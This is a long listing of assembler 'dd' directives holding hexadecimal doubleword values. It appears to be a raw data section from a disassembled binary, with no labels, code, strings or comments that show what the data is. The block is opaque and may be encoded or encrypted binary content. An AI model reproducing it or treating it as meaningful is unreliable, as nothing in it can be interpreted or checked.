		dd 1116583h, 0EFD0C0FEh, 0E454BEC2h, 8769E8A2h,	43F1B9BBh
		dd 4B415E18h, 0EBE0E913h, 0B3C3F51h, 660481ACh,	181472E6h
		dd 0E652DB24h, 394CE974h, 0D339FB78h, 7E2A5F61h, 9C7CBCBh
		dd 89EE3B86h, 276C42ABh, 81594C81h, 0BEC3F613h,	4B8F107Ah
		dd 42AE6E5Ah, 2BD3D18Ch, 0EE601898h, 2ED3C2BBh,	64363F44h
		dd 0AB7F8FDDh, 0D1EC62DAh, 73E18534h, 0BD674613h, 35C1E894h
		dd 2FEABC7Ah, 0EDBE88BCh, 47B8AB46h, 903E68C1h,	74DAC484h
		dd 62C0C1F0h, 21166627h, 682B8465h, 0EC62EA97h,	2AB5A307h
		dd 0EA87DAEBh, 0D81F34AEh, 0DD3968D4h, 9E5A5674h, 31985CCDh
		dd 0B50A0753h, 6DFC030Eh, 0D67BFDE9h, 0F66BE913h, 2C859D68h
		dd 0B1387E4h, 0CC6A1337h, 0A66A9F99h, 0D20ED56Dh, 0B25B7416h
		dd 0EC3D3CFDh, 2D7F9132h, 56B1BE37h, 557A1ABEh,	4D3635CEh
		dd 8FBB824Ah, 3273FF5Fh, 95F5148Bh, 4E6F0D7Eh, 0F8628494h
		dd 70AD145Eh, 12910DDFh, 52ACE7F5h, 0B7B24E32h,	81A52E28h
		dd 85792A2Eh, 556ABBEh,	0F2A46B05h, 0EDACAA17h,	1BED407Fh
		dd 1C8CABECh, 818E219Fh, 7B52A89Ch, 9E6E1926h, 922E187Fh
		dd 0CDE8BFA2h, 0DF0DAC55h, 0BF23A7Ah, 0EF25180Ch, 243C02DEh
		dd 36BE283Ch, 384E2173h, 312AD0DEh, 0F24E0E6h, 0D6D428B1h
		dd 2B5E5E88h, 470F7131h, 80AE8FE9h, 58C7020Fh, 63B5C3B4h
		dd 4895255Bh, 77650A65h, 0F097AE94h, 0F5E8B6D7h, 0E45DA993h
		dd 2E02BE6Fh, 92A32968h, 88C4F834h, 0DAC0D21Bh,	0F4BB9C02h
		dd 9B3519D6h, 6553FDh, 1C0A30B2h, 0D2CB7C85h, 0FB6F818Dh
		dd 44BA6078h, 0F09B26CFh, 78EDFAD4h, 0CA73AD1Ch, 4454740Bh
		dd 61B7B5C0h, 76BF074Dh, 7AA9847Ah, 0D0832AA2h,	3377A8F8h
		dd 7EA8844Dh, 0A5CB255Ch, 68BE07C3h, 0DF9692BFh, 0DA310B27h
		dd 0C5BF1B36h, 946A0C96h, 0A0733F3Eh, 0E57D47F7h, 47D4F172h
		dd 21F83B9Eh, 2038EA3Bh, 159E8882h, 0D8D17ACDh,	6F876431h
		dd 3554DC8Ch, 6264A03Ch, 31B9ACA0h, 0AEF2121h, 3838AABh
		dd 0A3CDB833h, 7F063F8Dh, 621F8190h, 0E780B20Ah, 0FD1F93BFh
		dd 0BF07DF09h, 0C0FC6810h, 0EE553A1Fh, 89EFAD26h, 1DF6EF3Ch
		dd 0BDAB0AE9h, 9C9C65F9h, 46EB7640h, 0A725056Ch, 4179D6C5h
		dd 3765C3C3h, 0B3F9B671h, 15BB7D5Ah, 0EA599FB2h, 0CE337298h
		dd 7B5359B6h, 0F0E37E65h
		dd 3A1CB9F4h, 0DB2E22EBh, 1B36524Ah, 9C0A3D39h,	0A43F4568h
		dd 0B2D1C30Eh, 8CB87044h, 667EA85Ch, 77F2ABD7h,	0E9EFDF5Fh
		dd 0F868746Eh, 1D7573E2h, 0ED2ED995h, 0BBBB68BCh, 70AB5237h
		dd 30A50E0Fh, 0CFBD4676h, 0E9F8142Dh, 37DBCB3Eh, 440BB2AFh
		dd 0CB19E3B2h, 37656886h, 9E15BAE5h, 0C2C3AB7h,	0D1B7C944h
		dd 2A70350Eh, 8C0EAA94h, 8DD8A738h, 0BE98954Fh,	7B19977Dh
		dd 1A39A7C8h, 0A78C59EBh, 0F431DDA8h, 46D4A34Ah, 0EFD412FCh
		dd 0B1EC3BD5h, 0B6BF6CA8h, 0FA9F8C02h, 12BAC228h, 163B26E4h
		dd 4A652005h, 731664BDh, 97994D17h, 90EC52D3h, 689A36B6h
		dd 0DF813F9Ah, 9547EE0Ah, 0B8D54801h, 1B0791ACh, 0E04C74A5h
		dd 0B53FDA8Fh, 47CA3B9Eh, 0D697E0D0h, 0FEB77AC3h, 97499DD8h
		dd 0C3F01BDBh, 0E2C19789h, 514CAD4Fh, 25D202FCh, 9FF2E4Fh
		dd 0A6B450BEh, 0CBA2834Eh, 0DC94B3BBh, 0C5597422h, 11C1F45h
		dd 22A4A7D9h, 8CC4B8AFh, 5F4D127Ch, 0C15BE1B2h,	0F49C53Ah
		dd 1BFE75B9h, 852BA99Fh, 61F0D58Fh, 75E09D54h, 65D47A03h
		dd 372B7F5Ah, 0E49CBC64h, 72B83EE8h, 0E820E538h, 0AC36543h
		dd 3968DCFFh, 74D7255Eh, 523A13DEh, 62B1BDCAh, 0F237716Fh
		dd 51CB3A56h, 0D0748D4Bh, 76B9A5FBh, 8869D0A4h,	43E56C95h
		dd 0E75D065Bh, 8F35AFE0h, 7CF37C17h, 0D8D17F7Fh, 0AFCBAB5Dh
		dd 4772BD5Fh, 0C5D886A7h, 14FD9D56h, 39B0FC7Fh,	0E57984C5h
		dd 0F09BB427h, 12885D15h, 0D96E9140h, 0B3D2CC5Ch, 25ECEBE7h
		dd 3755041Ah, 33898299h, 0F2BDD4DEh, 0C7B0ACA8h, 0F96970AEh
		dd 479685C1h, 0D33F29AAh, 595FA15Ah, 75605828h,	0E929BF92h
		dd 0B6BF2E39h, 2415DAF5h, 3DDC5547h, 9941A2DBh,	0E686C950h
		dd 1EDAEF54h, 0C1357361h, 1731E2B8h, 0D95F4F83h, 0CF6B43C0h
		dd 575F4BE5h, 291662B3h, 5F8BF056h, 450AC324h, 0EF70D1AFh
		dd 17EBB2ECh, 1299D2F6h, 880D785Bh, 0F27F13B9h,	0C761567Ch
		dd 28A55434h, 6A8596B7h, 81E5CDB8h, 3B98B14Eh, 1C5CD78Fh
		dd 0B1B02F41h, 79AECD1Ch, 33F2A146h, 0E81C1F0Ch, 4CA7260Eh
		dd 97F2CAB2h, 81C8A326h, 6BE4E1CFh, 0DCDF46F8h,	0D5EC0FE6h
		dd 873FE2F9h, 40E74762h, 75299312h, 0A9369C67h,	5136F972h
		dd 3320359Ch, 0AAD4AD1Dh, 0E27FB40h, 0AB7A931Fh, 0AE9729C1h
		dd 0E1408D14h, 0F05D7ACBh, 52DADDB1h, 0CFBD8FE1h, 0E2E5A8B2h
		dd 46FE3FA9h, 4704BC4Ch, 93FA5E8h, 3F3CEDA2h, 5FD36B06h
		dd 0E36917A1h, 16F85A21h, 719AC585h, 65FB392Fh,	0E6CA8BF2h
		dd 77853B95h, 6737CCAFh, 3284143Bh, 3E5E1C29h, 3BF55BA1h
		dd 5541715Fh, 0B15AD104h, 0B7DE764Bh, 0F09D3EE4h, 29108391h
		dd 0C4C46E7Eh, 9E85F659h, 0CE6D89DCh, 1B23981Fh, 5F82433Bh
		dd 0CFB79103h, 0F84924E9h, 52B9073Ah, 0E777513Fh, 0F359A61Bh
		dd 381AD507h, 982B464Ah, 5B289F09h, 3716D872h, 7EBA55B6h
		dd 0AB6B87FDh, 0BB25D685h, 394FB5A5h, 0F61E33B3h, 0ADA768BFh
		dd 0C3BF7C31h, 0EE68B4F4h, 68DF6889h, 0FA643935h, 34FA55E6h
		dd 0DAB38CE4h, 4C380F80h, 0A9F5CACDh, 5C2B9F6Ch, 86041A27h
		dd 656DDC1Bh, 16156C16h, 0D5E118C5h, 17E8BF3Fh,	0A331ABAh
		dd 59568E47h, 62A9DA3h,	4573C81Fh, 5CA5AD98h, 5AD61EBAh
		dd 473B8135h, 0B1E5E121h, 0E08367A3h, 74FC168Fh, 2521A81Bh
		dd 0C5B3CCD6h, 1DC964B4h, 4E71408Fh, 0C1ACB779h, 0E5340ABh
		dd 0FCEC3A87h, 0B71B1D63h, 95FF8132h, 1E8444CEh, 0C7AA5FE7h
		dd 6EC5F93Eh, 25FF7F0Eh, 7E7340Eh, 33C8FAACh, 0CA4CFB18h
		dd 9AEFE1DEh, 574049FBh, 0CC21F848h, 0BF95C2A4h, 0E47E5FE2h
		dd 42D1E3C3h, 0DED57A99h, 0FB7E9C9h, 86E7F2AAh,	5F9C1BC9h
		dd 3B3421CEh, 74AA745Fh, 2EEF7D7Dh, 62D359B9h, 0F79F5DFh
		dd 3CFA4FAh, 0BF14C537h, 483A9D85h, 775BEB9Ah, 2A817117h
		dd 496AB952h, 55CC9BD0h, 0BEC2ED41h, 0CEA37125h, 968D2D7Eh
		dd 0B5565FBCh, 99FC72B9h, 12D85625h, 0D81AC7EBh, 5D9DD380h
		dd 185D2046h, 0FDEE2D1Fh, 0EE60C5E0h, 2870FC64h, 0CB281FF9h
		dd 586A854Ch, 0B44588A2h, 8325F4A0h, 2B7B7582h,	0F9B3B5A3h
		dd 6E88AA94h, 12ADA573h, 6BB59502h, 0F1495154h,	74B6F408h
		dd 3624C731h, 8288A4B7h, 0C0D4501Eh, 2B9E5717h,	0C30FC6CCh
		dd 5C276E07h, 0B96453B3h, 37D5C795h, 59D857E2h,	0D6994391h
		dd 0B151D17Ch, 0E453D0C1h, 0FE1F6033h, 7E04AE3Ah, 25EB4D09h
		dd 5CE5ADB4h, 2B465FC6h, 0D4CDFD9Fh, 0F0E066A2h, 157C5FE9h
		dd 71DA8F95h, 0A3CC97D3h, 0ACC8EAA1h, 7402FCAEh, 6CB3014Ah
		dd 85D0695h, 0CEAAD17Eh, 0E6D9C92Fh, 1ED41C33h,	87B7CF75h
		dd 6831D1D2h, 0E5D5CE92h, 2F45BDFEh, 8BFA0EF9h,	0E8EAE719h
		dd 20AD57A4h, 22EBAD9Bh, 8E2523D6h, 0A4C35AAEh,	0AF22537Fh
		dd 0E2ACFE9Fh, 0D81ECBCh, 9E02AD5h, 82B7F890h, 0B31A9C53h
		dd 574E5B71h, 0C5052A8Dh, 8A276142h, 0A16A945Ah, 0E7BFCCEh
		dd 425BBBAAh, 0E7A5DC84h, 0AF936D51h, 0B44EAA9Fh, 0DDD37D25h
		dd 3226BB32h, 5B7076D6h, 4BD55869h, 4D1E82F8h, 0ECECDC3Ah
		dd 9DA2CD17h, 89E62B78h, 1F1ECA1Bh, 0CEE0AC94h,	6970B405h
		dd 5653CC67h, 0C0F9580Ah, 0ECE094FCh, 4A360F4Dh, 35F6045h
		dd 6C267CE6h, 1F276D08h, 3F32E98Eh, 45A48058h, 89F9B2Ah
		dd 0A74202Ah, 0CCA8D68Bh, 0BF046BF5h, 3B9CCFDFh, 0F383E14Ch
		dd 1F2ECC45h, 520AD669h, 0DCBFC2DFh, 0E9DAC149h, 587CBCF1h
		dd 307272FEh, 0EA7E3DDh, 2B5074C4h, 0C16F96A6h,	0E1321419h
		dd 0BD7A47D8h, 10EB4CE7h, 17F1754Ah, 0A675AB2Dh, 0BBF8CD4Dh
		dd 0E32E485Fh, 456D3B21h, 53702514h, 72B9EBBh, 7B98A6C6h
		dd 5B91952Bh, 63D0244Ch, 0A5097D26h, 896DE388h,	44791FA6h
		dd 8FF8F22Ah, 844985C3h, 0FB946D6Ch, 0C1973FA7h, 27CB46D5h
		dd 739DA81Dh, 6C6C11FBh, 0C8DE5A32h, 0D9F043ADh, 79957925h
		dd 175A7EC0h, 0D951B49Dh, 837D1F80h, 15FD5F48h,	84C4C056h
		dd 0C4B81E4Ch, 0FAAA396h, 0D5E2960Ah, 331C394Dh, 18BF8BCDh
		dd 78FB5D80h, 0C1BFC8A1h, 0D6844BBAh, 95E28C85h, 3E3FD592h
		dd 21F3D679h, 0BBFA8754h, 4E2408D8h, 0DB937915h, 0B9DF51BEh
		dd 0F874711h, 0FBE12AE1h, 3DB4B969h, 3540CBD0h,	0A18B902Eh
		dd 6479DE0Ch, 320A0593h, 98DC3D54h, 86A83A73h, 9EB88D73h
		dd 0C0AF715Bh, 0DCBBAB79h, 303841AFh, 572EE97Fh, 0C46BCBB4h
		dd 9C02EDFBh, 6BBEB9CFh, 8F2F8034h, 0CA518789h,	0A97F1590h
		dd 2BD395FEh, 0B8285C1Fh, 47E28993h, 0F8AAA5CBh, 5BFCDF7Eh
		dd 88C04A26h, 7DFF7225h, 0D769BF24h, 0B26066C1h, 24FF8588h
		dd 3CEB2A4Ah, 6496D88Ah, 0AD8CDD95h, 5EB835A0h,	63588DFCh
		dd 4502FDC8h, 866452C7h, 0EC94E336h, 0CB8E6D86h, 0F183E59Fh
		dd 38817C26h, 0E32A0318h, 1E3DE731h, 26F034DCh,	0F9FD6421h
		dd 381EC6BEh, 0B53FFE0Fh, 962E3982h, 5305AAF6h,	8A0FAAA7h
		dd 0AA578469h, 0B59F03EDh, 0A67D3E3Dh, 1520D383h, 0C08BAF95h
		dd 0C9A45AAAh, 0BFC70057h, 0D7DA4BFBh, 77AB2FA4h, 3264234Dh
		dd 8622579h, 7761F4EEh,	0C4303E3Eh, 0AE6A64B8h,	0FB6A3739h
		dd 0D3BF6AF5h, 0B67D6105h, 0DF6FFA17h, 0C27C8631h, 342FC2E9h
		dd 9C8DC69Ch, 0AD8D56BCh, 7A6D2BF8h, 1FBA91B4h,	79B1AA5Ah
		dd 373F59F7h, 0EAB7B13Dh, 0A24E15B5h, 0AA96AE67h, 0D2C5C56Ch
		dd 0EF6E4D3h, 0BC0AA56Ch, 8FD169E2h, 0EAAEDE57h, 0B2D119EBh
		dd 871ED378h, 0D4443D42h
		dd 73DFD8D3h, 0C9B3AFC6h, 4DABBA29h, 0CC6E6F71h, 557382D0h
		dd 71E1F8B7h, 2FA7D899h, 26DB0C0Fh, 2BC1FE2Ah, 6EEDEFABh
		dd 74695340h, 90E9EF7Bh, 1405828Bh, 298CC4EDh, 748A4D3Dh
		dd 5333F702h, 2A85D5D7h, 2AFE055Eh, 0A91E1D46h,	0AD57C4F1h
		dd 95AD2C5Ah, 0F9316BF3h, 0E638A37Ah, 0FC4A95DBh, 4488A417h
		dd 9C0AB6BDh, 0F2DF55D6h, 5035F2Ch, 0ED742E46h,	0FCA179BBh
		dd 51BF580Eh, 0CE6F414Dh, 8B82E737h, 2EE8A49Fh,	75EBFA6Dh
		dd 0C9015CECh, 4129F71Dh, 2C358DB7h, 4CB7DD4Bh,	0A6C7F6F8h
		dd 3C3814CFh, 0D4F4F55Ch, 0BE8705A3h, 0EFCD6EC6h, 0B6C2B745h
		dd 0EA74C8F6h, 12D19EB4h, 0E17D1B0Fh, 179AE46Eh, 0FBE381C7h
		dd 576174FDh, 0E5E89AE2h, 4E13DD07h, 372C0F0Eh,	83D48EC4h
		dd 0DE2B6B5Dh, 0A707E888h, 79CA16A9h, 62FA0EBCh, 8C3DDA2h
		dd 0C8C0F835h, 956EC17Dh, 16D1FEF7h, 3F14C5D2h,	6EA146B0h
		dd 3CF844A7h, 0E93C2FF3h, 0C7D96A27h, 56102B59h, 0F8E2ADC1h
		dd 4FFCC6E3h, 0BFDF2D4h, 5FBAD275h, 0EE84FECh, 0E8509F2Eh
		dd 0E028EBF1h, 8A321BDBh, 8ACCD179h, 0EB976DCDh, 9B9CC066h
		dd 6B80892Bh, 0E1DA23F4h, 0E0DFD15Ch, 0DCB7F80h, 57AFC3BEh
		dd 6EB58773h, 5A5FA851h, 0A89B2104h, 0CEDA1670h, 29198E0Fh
		dd 2E21879Bh, 0ADB14146h, 437A53A7h, 2A417BA5h,	0B630C4B8h
		dd 7D787E34h, 0F0CED5D4h, 0C5313589h, 7D9C1273h, 0FB339FAAh
		dd 27728EEBh, 6658CC5Dh, 4F710252h, 0D66CA3D5h,	0E4E8F757h
		dd 63239962h, 0D1A9DC7Ch, 78FE88E7h, 0A6C11DF3h, 4043F0Dh
		dd 7B75BE48h, 5A9FA7C8h, 95E38AFDh, 19672F8Eh, 0B8EC3B97h
		dd 1A41F088h, 0DAE8C6EBh, 31F698F0h, 9BF094DFh,	0ADD46538h
		dd 53F0F735h, 0EEC22ADEh, 472E4798h, 0BD17E76Eh, 389D5C31h
		dd 7FF59A99h, 9EC5830Dh, 4E76A373h, 70351D0Ch, 47115A4Dh
		dd 32334AF3h, 85B4CA76h, 962A6A95h, 223AE209h, 51025BA7h
		dd 9974BA9Fh, 65F51F66h, 0A781E699h, 7352CCECh,	7DFB9F45h
		dd 65CA07CDh, 0B46F7AAAh, 1736EB32h, 2E1F0A3Eh,	358D967h
		dd 0A3A9639Eh, 0C44BF821h, 167CE43Ch, 12263D9Ch, 8D381E70h
		dd 0F9E51CC8h, 0C9C46F74h, 8D55816Fh, 86E6E454h, 313C19EDh
		dd 0E777CAD2h, 61A9BD99h, 0DA892111h, 0A4DE1DCh, 0E9025761h
		dd 5087E226h, 0F287824Eh, 7CA7993Ah, 0EB17E3F5h, 76107952h
		dd 91D93DDAh, 0A8B85C23h, 84572E51h, 0B1DB0DF0h, 3907C0F5h
		dd 6916FF0Dh, 0D1CCCA5Eh, 0AE74D62Eh, 0E3C1D3D4h, 466606E3h
		dd 32572900h, 61D89DAEh, 9BC9B9FDh, 0DA2BFE83h,	4BF93A2Bh
		dd 0DE871C21h, 1C3EB1B0h, 5EDD3C0Eh, 2A568E9Eh,	9FB33C55h
		dd 0CD02BDDFh, 0DFAD9963h, 0C99CE0C7h, 77DD987Bh, 0E6350495h
		dd 0D5B8CA94h, 42A7C298h, 0FF444BD3h, 67F3D397h, 36E74DD4h
		dd 99F00C54h, 15C586DCh, 6DD7F0A1h, 486C2D4Ah, 56DB79F0h
		dd 3EF93517h, 4F0F8DBBh, 0D597E622h, 3011DA4Dh,	66A4B069h
		dd 8EC14206h, 6BBF65B4h, 54F0164Dh, 0CAB381AFh,	0E2C6572Ah
		dd 882D38BCh, 0ED13D573h, 0CDA92E9Fh, 1E63BB5Ah, 2D68E8D3h
		dd 463EA1BFh, 183C2E8Bh, 0D8AE45F2h, 0E455557Eh, 0D98B4297h
		dd 0D0B0735Eh, 0D35114CAh, 223534B4h, 10F1ACB6h, 63A69404h
		dd 0B714D3B8h, 91AF9A6h, 54F827A3h, 58DBBEA6h, 3E05168Eh
		dd 64355BDh, 58CD3433h,	0F3961AA8h, 0BBCE38B0h,	0FC7C53BCh
		dd 0A5436C62h, 0FC1F7C73h, 0EE56714Ch, 0EAF2D6C1h, 0AB0BA332h
		dd 60F81059h, 0D937D456h, 81370FB6h, 0E0F1615Fh, 7E07B09Dh
		dd 9ED00739h, 4C71CE93h, 0C07461BEh, 8E3D151Bh,	0FBDEB44Ah
		dd 0A5D9BCACh, 2D7C4EBEh, 9B93B32Ah, 0B86D9B87h, 0EE330BA7h
		dd 50B024FFh, 6A9E991Eh, 576D28F0h, 386235EAh, 691E82B7h
		dd 0D0BEBA55h, 4C370785h, 1787E24Bh, 0CB975B0Eh, 9052E87Fh
		dd 0B2FF8DD1h, 8D3AECD7h, 4D780AE1h, 9146D5F8h,	0AA0BB6DEh
		dd 1DCBCF38h, 43918CE7h, 0AA345FCBh, 32F6E925h,	34AD8363h
		dd 22F53505h, 6BFCE52Dh, 0EE59C2B9h, 7C79BAB6h,	592496Eh
		dd 47731B54h, 0BDA5341Fh, 468A0DD2h, 96349B64h,	0BFCD009Fh
		dd 0A4D5ED1h, 3095623Dh, 95F0948Dh, 0C960C756h,	7A3679FFh
		dd 45260753h, 9F341DC2h, 0EFEDED8Bh, 5DD45D6Ah,	9BC70068h
		dd 0A4CFA46h, 62168964h, 0ECDABACh, 0C14CB03h, 0C5D44969h
		dd 34D52D48h, 0C77F07C7h, 0B47B7162h, 0A7D7BB02h, 41A6B36h
		dd 0FBA9B24Ch, 60F67922h, 95C441D5h, 991ACDC4h,	15F042Fh
		dd 0F2B71E6h, 0B7C8D5C6h, 0DB676E5Ch, 0A22A97B2h, 0BE57569Fh
		dd 45F396C7h, 579F3BE7h, 42458137h, 7DBCB447h, 6742CFA3h
		dd 93A1DDEFh, 64B04FA8h, 28DC7A92h, 35162F68h, 0B3C521B6h
		dd 6C4C6783h, 0E0582129h, 7C9C1CF3h, 0B742542h,	5C4FAF1Ch
		dd 0E506DB01h, 38E78185h, 9514F491h, 8D713220h,	0E98EBFC0h
		dd 0C3FF2565h, 0AEBBA770h, 55C5EB60h, 35FAF66h,	783C8ECh
		dd 0F8F2F8B8h, 4E72D1E1h, 0D98EFF9Fh, 96A08989h, 0D576398Bh
		dd 92375374h, 6E72FDE0h, 96B98DEEh, 80A17D7Ah, 0E0D3D591h
		dd 62BA158Fh, 0FB59851h, 3320E7C1h, 9B77350Fh, 9403F465h
		dd 0D2FC2A5Dh, 0A2AA0E4Ah, 319D79CEh, 5654F8E2h, 8F3BE65h
		dd 0C3092FBCh, 5109AD0Bh, 6DB26FE1h, 5343F012h,	65FBBCA8h
		dd 556B0B84h, 4D47D337h, 31957F2Dh, 0C85FAA47h,	0DFC3CA8Ah
		dd 0F1CFE37Eh, 6EC4CD58h, 0F5D56D11h, 57C4C6CEh, 0DB38633Dh
		dd 0F728AF71h, 2634BD58h, 93E84282h, 8389830Eh,	4129E975h
		dd 0A86AF47Ch, 5B319729h, 3BC74D81h, 0E366B3B1h, 6C1B85C0h
		dd 0FE77393Ah, 244250F1h, 12FCEEC0h, 570902C0h,	0FAAEF76Ch
		dd 0D730BFEAh, 67AAB878h, 0C1173917h, 7DEDF500h, 0F6DBE75Eh
		dd 8B45D6F7h, 6041CB46h, 148DCAADh, 0D11AA946h,	0E1AE35B1h
		dd 782D31F7h, 9A9BB770h, 46A7C51Dh, 633AD1BCh, 0C0FFBDAEh
		dd 79157CE7h, 0EAF4A665h, 0D188DAD6h, 317B0Dh, 0D6742175h
		dd 32DE0F0Eh, 2A043C7Ch, 4607BF68h, 87EAAA8Bh, 3D17CC9Eh
		dd 476D3BE4h, 26FBF8Dh,	0C1E7C284h, 4B0FC358h, 792D1DA9h
		dd 3702A8A9h, 0D25A6E3Ah, 0FF537459h, 0B200AF1h, 5D1522AEh
		dd 0E4ADD3D5h, 0B6627C56h, 3C15D287h, 154BA470h, 46DB25CEh
		dd 893FCF57h, 83A2E732h, 7B37D688h, 16CBC3FDh, 128F7613h
		dd 4574B2A8h, 2E5F3B78h, 9320BB44h, 0E7A97646h,	1A5C87EBh
		dd 67F4A7A3h, 0EC2C5B71h, 9A6E41A8h, 90BC85B5h,	0EA2275DAh
		dd 368D32F5h, 3B89EF02h, 2D1AD0E2h, 8DE15722h, 0A9E38F37h
		dd 0C2C8ED2Bh, 13B5559Dh, 51B8F4F5h, 77D78EE1h,	7E4F8BB3h
		dd 0F89497F8h, 0C934FC7Bh, 0B2CD659Ah, 0C5ABDEBCh, 0A12AD1B9h
		dd 0D9BFBBF6h, 92613074h, 2551172Fh, 46867F67h,	3469F3F5h
		dd 90917415h, 0C146C758h, 0C192FD73h, 43EFC589h, 47AEEE91h
		dd 172A9581h, 0ECE8AA11h, 0B91FDF81h, 0D490CDECh, 0A08BDDE8h
		dd 915A291h, 0BCA0DA47h, 76A588ACh, 54C6B253h, 8C51B25h
		dd 23BD4AE2h, 0D6075342h, 84FC4263h, 3CAAF62h, 0F091F0BDh
		dd 31B5587Ch, 8CDD1051h, 508C673Bh, 8D2085F8h, 81113ABFh
		dd 0BFB7BC07h, 34DD22E0h, 1B5CF5D8h, 455326A6h,	0AE29D8CBh
		dd 5CCDEDDBh, 0CDFD6DF4h, 0D1168B59h, 10F0E2FDh, 0DFF51053h
		dd 3B803B13h, 74A2B13Bh, 0C0B5B1D6h, 129D4621h,	0F88CFFE1h
		dd 75081945h, 229789F7h, 5C815711h, 31C6D155h, 0E874CBC3h
		dd 0F1363FC8h, 105A2173h
		dd 0EEBC0D72h, 949EFF3Dh, 0F5B51FCBh, 0F1577ABDh, 3F76FE1Bh
		dd 0AE065A8Dh, 0D1ED3E26h, 2CFC953Bh, 6FDA6DE2h, 8007F9D7h
		dd 111B7F8Ah, 5F6F22DEh, 0D7572B81h, 0C9CE6C96h, 3424DA7Ah
		dd 0D5B1D6C2h, 0BC778D47h, 810B412Ah, 0B67EBCD0h, 2962B98Ah
		dd 461FF72Eh, 0F397F069h, 2F7F2A84h, 0E0A71D2h,	32F81DEDh
		dd 0F5342381h, 95EE1677h, 0B52FB623h, 131801DFh, 6D99C0CBh
		dd 9D4B5DC8h, 0CB3F18A4h, 615D58D5h, 9EBFB6C0h,	0CDDCAFB5h
		dd 697BC7BAh, 0F6A4E0B4h, 8B41D63h, 0A4EB5A2Ah,	0F1AAE0D6h
		dd 0C077749h, 96E417F4h, 650ADB75h, 6175F770h, 79A27304h
		dd 69A2ACDDh, 5A3C5E07h, 5CCB6E48h, 0A1673662h,	255B572Ah
		dd 0D1758CEFh, 8707D052h, 89F85E37h, 8EE221F8h,	7AB7E51Bh
		dd 54A57CBh, 9CE6EE54h,	89CEA6BCh, 57A7951h, 6EC40EAh
		dd 0F3B579B6h, 0B5E6B476h, 0DE0B3E7h, 7CCB7E15h, 3AB5A369h
		dd 0E3F84296h, 0DC29BE1Dh, 0BB9C9502h, 0E168B9CDh, 76175573h
		dd 0C2756B4Ah, 37E990D1h, 5BEC8EF3h, 7BD924ACh,	3B4C3C29h
		dd 2EBEF338h, 97EE3CD6h, 666FC8Dh, 0A0A03E9Ah, 0C34DD68Ch
		dd 0BF720D75h, 41D0D44h, 72B31CF0h, 15EF7192h, 0C6F5A17Eh
		dd 8839A98Ah, 0FF758708h, 0D9EF608Bh, 69CB54F3h, 968ED41Eh
		dd 68757497h, 0BBFD87C9h, 0C9FD0F11h, 6E3A3781h, 0E095ABFCh
		dd 0A76AA900h, 0D849EBE9h, 4E4BF2D1h, 0B397F1Fh, 0EE6DACFFh
		dd 17F5EAF9h, 0D5DC717Fh, 9FB6D591h, 96C0FBA1h,	3978334h
		dd 3177EAB7h, 0F366B8EAh, 6796A29Ah, 2F129AE9h,	80EECDFFh
		dd 4AEC3898h, 0FA170797h, 1776844Ch, 1F0250ECh,	0FED61570h
		dd 22A9A818h, 95BD180Ah, 0D67EB0FCh, 6C4692D9h,	0DF9C860h
		dd 7FB52CFEh, 0A97076FBh, 0E6858323h, 6275A8B2h, 0D17BB8BAh
		dd 6034D386h, 72078A02h, 0FCCF9B03h, 0D6A7E92Dh, 9BD4B612h
		dd 339DDF8Ch, 0D60850C7h, 69E83B31h, 0FC557E0h,	6F85B16Fh
		dd 0C54ED1DFh, 93712DCDh, 0C69C0835h, 5B824A1Dh, 81373AE7h
		dd 537A4DBCh, 68AC1B8Bh, 12677A60h, 7FE52D35h, 362C4BC5h
		dd 8AA0D12Fh, 5C1E12F4h, 5168B31Ch, 544FBB31h, 0D359DF5Ch
		dd 0E551AABBh, 55974C66h, 8CAC8180h, 93732781h,	0F8D8615Ah
		dd 4A697E4Dh, 88E4DECAh, 2B072625h, 0BEC873EDh,	1BD8A261h
		dd 782864DAh, 8C5A277Eh, 46AB6E9Dh, 3C0F4F72h, 71806FE0h
		dd 34E2E552h, 2FB5A0FBh, 0B98AAD76h, 8527D05Bh,	6DCC1972h
		dd 1D987E13h, 0E31D70B1h, 0A7AB6156h, 555192A1h, 0F2F03CD9h
		dd 0CF83AB31h, 9DBF27C4h, 0B8F2BE34h, 0CF9D81E9h, 0CA7A99CBh
		dd 5978361Ah, 9F822B1h,	327F41A6h, 0D5B47F46h, 0D475E0CCh
		dd 0D27F40D1h, 65C81377h, 0D783DFEAh, 54E7C8FBh, 0DB0F5Ch
		dd 3F19F3F5h, 102D0C9h,	73A2AEE4h, 0E9E3C1FDh, 2E3BE533h
		dd 0D3C7E55h, 6F42D1C1h, 0E2350B63h, 30A6FE5Bh,	4B0D6CFFh
		dd 0AA1AD148h, 0B3218B9Eh, 555076E9h, 1F5841B8h, 0D6B6BB25h
		dd 7CE97C2Dh, 0D4183337h, 1F22BB33h, 13EC147Eh,	4F03F52Eh
		dd 95758FA2h, 65F05AE9h, 5670AF2Ah, 5989DB49h, 277A6ABBh
		dd 0BD5DEA3h, 0AC726A29h, 42FF5BB0h, 61E5581Fh,	0AFCB2D7Eh
		dd 0AE37D10Ah, 0DB43E28Fh, 25F094Fh, 0B396B16Bh, 61A58D46h
		dd 6115F1B1h, 0A718599Fh, 294D7287h, 7BC651C0h,	0D6B51DDDh
		dd 15005A92h, 0A8E629A6h, 7D048FF1h, 0FB5579B3h, 0B91CD0CBh
		dd 0D26A8E60h, 0AB4AAE17h, 278F200Bh, 18FEEA35h, 92CB9C10h
		dd 69F02267h, 7828DF6Dh, 7BB98A6Eh, 0AAB01776h,	0D4C69F48h
		dd 0B2B56CEBh, 0D2F712B3h, 0B82D037Dh, 26B20B10h, 93ABA43Bh
		dd 6C36A083h, 0CDF6B538h, 46312E26h, 0EA4723BEh, 4FB65A0Fh
		dd 0FC4F979h, 40410B82h, 0FD9EA516h, 202122C1h,	0CE3B7B7Ch
		dd 12ADB145h, 50194ADFh, 0F875F79Ah, 55F29256h,	826B47D3h
		dd 0CD84DCCh, 933EE00Bh, 54ED143Fh, 64E37EBAh, 181FCBBEh
		dd 37205F87h, 45B25294h, 474C479Eh, 56AE6ECAh, 9AD74E74h
		dd 0EE3CD32Ch, 0A86DE0FFh, 2A6F9171h, 715FC496h, 0DAD5EB18h
		dd 3557BB83h, 80D173E9h, 0F7A16D76h, 0D97A284Eh, 0FE27EBACh
		dd 36010DC6h, 5ABAC805h, 4D1AC8AFh, 365AF3A9h, 7AA54F44h
		dd 4ECF1652h, 415987E3h, 7416C083h, 0E3EFAAE3h,	298ACDCFh
		dd 0ABFD1378h, 1279CF5Fh, 2304FD98h, 0CA3810FCh, 1E9E8011h
		dd 181E09ECh, 3FDA559Ah, 5984B451h, 0B32D14DCh,	3C00DAFBh
		dd 66A95424h, 7A17F2CEh, 741B4571h, 74A21C46h, 0EE5E5A60h
